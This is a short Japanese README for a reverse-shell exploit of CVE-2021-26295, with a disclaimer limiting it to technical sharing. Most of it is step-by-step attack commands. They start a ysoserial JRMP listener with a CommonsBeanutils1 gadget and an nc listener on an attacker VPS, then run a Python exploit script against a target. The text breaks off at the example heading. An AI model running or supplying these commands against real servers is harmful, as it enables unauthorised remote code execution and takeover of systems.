CVE-2021-26295

CVE-2021-26295 EXP はシェルをリバース接続できる

この記事とツールは技術共有のみを目的としており、違法な目的での使用は固く禁じられています。違反した場合、発生するすべての結果は自己責任となります。

コマンド実行EXPのトリガー

1. VPSでRMIリスナーを起動（ポート9999）

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[要执行的命令]'

2. VPSでncリスナーを起動（ポート64444）

nc -lvp 64444

3. Pythonスクリプトを実行

python3 cve-2021-26295_exp.py <target> <vps_ip> <vps_port>

例